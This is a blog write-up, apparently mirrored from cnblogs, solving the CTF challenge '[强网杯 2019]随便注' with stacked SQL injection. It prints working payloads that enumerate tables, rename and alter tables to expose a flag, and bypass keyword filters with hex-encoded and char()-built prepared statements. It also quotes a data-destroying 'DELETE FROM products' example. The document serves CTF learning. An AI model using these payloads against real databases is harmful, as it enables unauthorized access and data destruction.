zoukankan      html  css  js  c++  java
  • BUUCTF-[强网杯 2019]随便注

    0x00知识点:堆叠注入

    在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

    堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
    打开此题,进行常规测试,如1' or 1=1# ,1' order by 1# 在1' order by 3时报错,说明列数为2
    继续:1' union select 1,2#

    发现几乎全部关键字都给过滤,这时可以猜测是堆叠注入

    利用堆叠注入,查询所有数据库:
    1';show databases;#
    查询所有表
    1';show tables;#

    查询words表中的列:
    1';show columns from words;#

    查询1919810931114514表中所有列1';show columns from 1919810931114514;#(字符串为表名操作时要加反引号)
    注:在网上百度发现
    【字串为表名的表操作时要加反引号】

    根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id
    法一:

    这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

    1';rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);#

    这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id然后用1' or 1=1 #得到flag
    【考一下发现改变表后直接1' or 1=1#可以返回id值】

    方法二
    (mysql预处理):语句一:

    1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
    (那一串是select * from 1919810931114514的十六进制)

    语句二:

    1';SET @sql=concat(char(115,101,108,101,99,116)," * from 1919810931114514");PREPARE sqla from @sql;EXECUTE sqla;#

    (char(115,101,108,101,99,116)是把s e l e c t的ascii码转换为字符连接起来,再把后面的拼接起来就成了select * from 1919810931114514)

    参考链接:
    http://www.ghtwf01.cn/index.php/archives/212/

  • 相关阅读:
    HDU 2586 How far away?
    UVAlive 5796 Hedge Mazes
    HDU 4975 A simple Gaussian elimination problem.
    Poj 1149 PIGS
    HDU 3416 Marriage Match IV
    HDU 4912 Paths on the tree
    HDU 3277 Marriage Match III
    終於記起了帳號密碼
    codeforces194a
    codeforces195c
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/11845760.html
Copyright © 2011-2022 走看看